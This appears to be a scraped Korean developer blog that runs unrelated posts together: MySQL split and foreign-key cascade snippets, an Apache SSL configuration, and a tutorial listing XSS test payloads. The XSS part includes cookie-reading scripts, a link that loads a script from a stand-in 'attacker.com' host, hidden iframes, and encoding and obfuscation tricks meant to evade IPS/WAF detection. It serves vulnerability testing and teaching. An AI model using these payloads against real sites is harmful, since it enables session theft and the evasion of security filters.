REPLACE(SUBSTRING(SUBSTRING_INDEX(text, spText, num),LENGTH(SUBSTRING_INDEX(text, spText,num-1)) + 1),spText, '')


변경할 문자열 text


split할 문자열 spText


가져오고싶은 배열 번호 num

'개발 > MySQL' 카테고리의 다른 글

MySQL 백업 및 복원 방법  (0) 2024.08.07
[MySQL] FK 설정  (0) 2017.02.20

ALTER TABLE 테이블이름

ADD CONSTRAINT FK이름 FOREIGN KEY (key이름) REFERENCES 참조테이블 (참조컬럼)

ON UPDATE CASCADE ON DELETE CASCADE;


UPDATE CASCADE : 참조 데이터가 업데이트되면 해당데이터가 같이 업데이트 됨

DELETE CASCADE : 참조 데이터가 삭제되면 해당 데이터가 같이 삭제됨

'개발 > MySQL' 카테고리의 다른 글

MySQL 백업 및 복원 방법  (0) 2024.08.07
[MySQL] split 구현  (0) 2017.02.20

XSS ( Cross Site Scripting )


1. XSS Test


일반적으로 게시판에
"><script> alert("XSS") </script>
"><iframe src="javascript:alert('XSS');"></iframe>

라고 입력하면 XSS 메시지 창이 뜨며, XSS 취약점이 있는 것으로 판단된다.


그 외 예제) 사용자 쿠키 값 획득
<script>alert(document.cookie)</script>


그 외 예제) 클릭 시 별도 지정한 URL로 이동
<a href="http://test.com/test.cgi?loc=<script src='http://attacker.com/test'></script>">Click</a>


2. iframe 태그


숨겨진 iframe을 이용해 URL로 이동


<iframe height=500 width=500 src="http://www.google.co.kr"></iframe>


<iframe src="http://www.google.co.kr" name="Click Here" width="0" height="0" frameborder="0"></iframe>


3. object 태그


지정한 파일이 존재하지 않을 때 악성코드 사이트로 이동


<object width=0 height=0 style=display:none; type=text/xscriptlet data=mk:@MSITStore:mhtml:c:\nosuchfile.mht! http://www.google.go.kr></object>


c:\nosuchfile.mht 파일이 존재하지 않을 시 구글사이트로 이동됨


4. body 태그


<body onload=alert('body-XSS')>


5. div 태그


div 태그 이용한 이미지 삽입


<div style="position:absolute; left:200; top:90; z-index:2;">
<img src="images/test/jpg"></div>


※ position:absolute는 위치값 지정
※ left는 좌측으로 부터의 거리
※ top은 상단으로 부터의 거리
※ Z-index는 레이어의 순서를 지정함(숫자가 클 수록 위로 상승)


6. 인코딩 기법


공격하려는 문자열을 다른 표현으로 인코딩하여 눈에 띄지 않거나, IPS/WAF 등의 감지패턴을 우회하기 위해 인코딩


원본 : <script>alert("test");</script>
인코딩 : <script>alert(String.fromCharCode(116, 101, 115, 116))</script>


7. Obfuscated 기법


인코딩 기법과 유사함


<script language="javas-ript">
   e = '0x00' + '5F';
   str1 = "%E4%BC%B7%AA%C0%AD ....... %AA%E2";
   str = tmp = '';

   for(i=0; i<str1.length; i+=3)
   {
      tmp = unescape(str1.slice(i,i+3));
      str = str + String.fromCharCode((tmp.charCodeAt(0)^e)-127);
   }
   document.write(str);
</script>


8. 기타 우회 방법


;</script><script>alert("xss");</script>

<VirtualHost *:443>
ServerName blog.jgb.kr
SSLEngine on
SSLCertificateFile "인증서 경로"
SSLCertificateKeyFile "개인키 경로"
</VirtualHost>


※ 개인키 암호 제거
    openssl rsa -in Inkey -out outkey

+ Recent posts